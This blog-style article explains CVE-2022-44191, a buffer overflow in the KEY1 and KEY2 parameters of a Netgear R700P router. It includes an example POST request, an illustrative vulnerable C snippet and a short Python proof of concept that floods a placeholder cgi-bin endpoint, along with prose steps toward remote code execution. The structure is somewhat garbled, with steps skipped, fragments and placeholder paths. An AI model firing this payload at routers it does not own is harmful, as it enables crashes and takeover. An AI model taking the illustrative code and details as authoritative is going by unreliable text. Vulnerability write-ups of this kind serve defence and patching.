In the ever-evolving world of cybersecurity, routers are prime targets for attackers because they stand as the first line of defense between your devices and the internet. Late in 2022, a dangerous vulnerability was identified in the Netgear R700P router, firmware version V1.3.1.64, tracked as CVE-2022-44191. This vulnerability allows attackers to exploit certain parameters (KEY1 and KEY2) that can lead to a buffer overflow, giving malicious users a gateway to execute arbitrary code on the device and potentially gain complete control. In this article, we'll break down the vulnerability, provide code snippets, and walk through how exploitation might work.

What Is CVE-2022-44191?

CVE-2022-44191 describes a buffer overflow issue in Netgear's R700P router (firmware V1.3.1.64), specifically in how the router processes the KEY1 and KEY2 parameters. When these parameters—used in certain POST requests to the router's web interface—are supplied with excessively long strings, the router's backend software fails to properly check their lengths, resulting in memory corruption.

If exploited, this bug can let an attacker execute their own code on the device, potentially taking it over or pivoting further into a network.

The Vulnerability in Detail

Modern web routers use a web-based management interface, typically running on a tiny embedded web server. In the case of R700P, certain POST requests allow users to configure Wi-Fi encryption keys via parameters like KEY1 and KEY2.

Here's the key problem: the firmware does not properly check the length of these parameters, so if you send an overly long value, it overwrites parts of memory that might control execution flow.

Popular scripts or binaries responsible:  
In the R700P firmware, parts of the /cgi-bin handler scripts or binaries are responsible for parsing these parameters.

Let's say you submit a web form to update your WiFi key, sending a POST request like this

POST /cgi-bin/xxxxx HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 500

KEY1=shortpassword

But what if you replace shortpassword with an excessively long string?

KEY1=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...

If the program handling this doesn’t check for proper length, you could overwrite critical regions in memory, changing how the program behaves.

Exploit Walkthrough

Disclaimer: The following is for educational purposes. Do not attack systems without permission.

Step 1: Identify the Function

When you analyze the router's firmware or reverse engineer the web interface, you'll notice the firmware parses KEY1 and KEY2 parameters with fixed-sized buffers, e.g.,

char wifi_key1[64]; // space for 64 bytes
memcpy(wifi_key1, web_get_param("KEY1"), strlen(web_get_param("KEY1")));


*This code does not check if the input string actually fits in the buffer.*

Enough "A"s (or another character) to fill the buffer,

- Some pattern to overwrite the saved return address or instruction pointer (for advanced exploitation),

Simple PoC in Python

import requests

url = "http://192.168.1.1/cgi-bin/xxxxx";

# Adjust the payload length as needed after analysis; here, 300 bytes is used
overflow_payload = "A" * 300

data = {
    "KEY1": overflow_payload,
    "KEY2": overflow_payload
}

response = requests.post(url, data=data)
print("Status Code:", response.status_code)

Step 3: Remote Code Execution

Developing an actual remote code execution (RCE) exploit would require knowledge of the router's firmware architecture (like whether it’s ARM or MIPS), offsets, and memory layout. In most real-world attacks, attackers use the buffer overflow to overwrite instruction pointers (PC/EIP) and redirect to shellcode.

Attacker discovers router running vulnerable firmware (V1.3.1.64).

2. Attacker crafts and sends HTTP POST request, with KEY1 or KEY2 fields containing malignant payload.
3. Embedded web server binary crashes, and possibly executes attacker’s code if addresses are correctly guessed.

> Note: Many modern firmwares use protections like stack canaries and ASLR, but many home routers (like the R700P on V1.3.1.64) lack these, making exploitation easier.

Update Router Firmware:

Visit Netgear's support page for R700P and download the latest firmware.

References & Further Reading

- CVE-2022-44191 at NVD
- Security Advisory from Netgear
- Exploit-DB PoC for Netgear R700P

Conclusion

CVE-2022-44191 is a classic example of how critical secure coding practices are, even in embedded systems like routers. If you’re running an R700P on outdated firmware, apply updates immediately! Devices sitting at the edge of your network need constant care and attention to stay secure.

If you want to test your own device (ethically, on your own network), you can use the simple PoC above to check for system stability—but always do so responsibly!

Timeline

Published on: 11/22/2022 14:15:00 UTC
Last modified on: 11/23/2022 19:37:00 UTC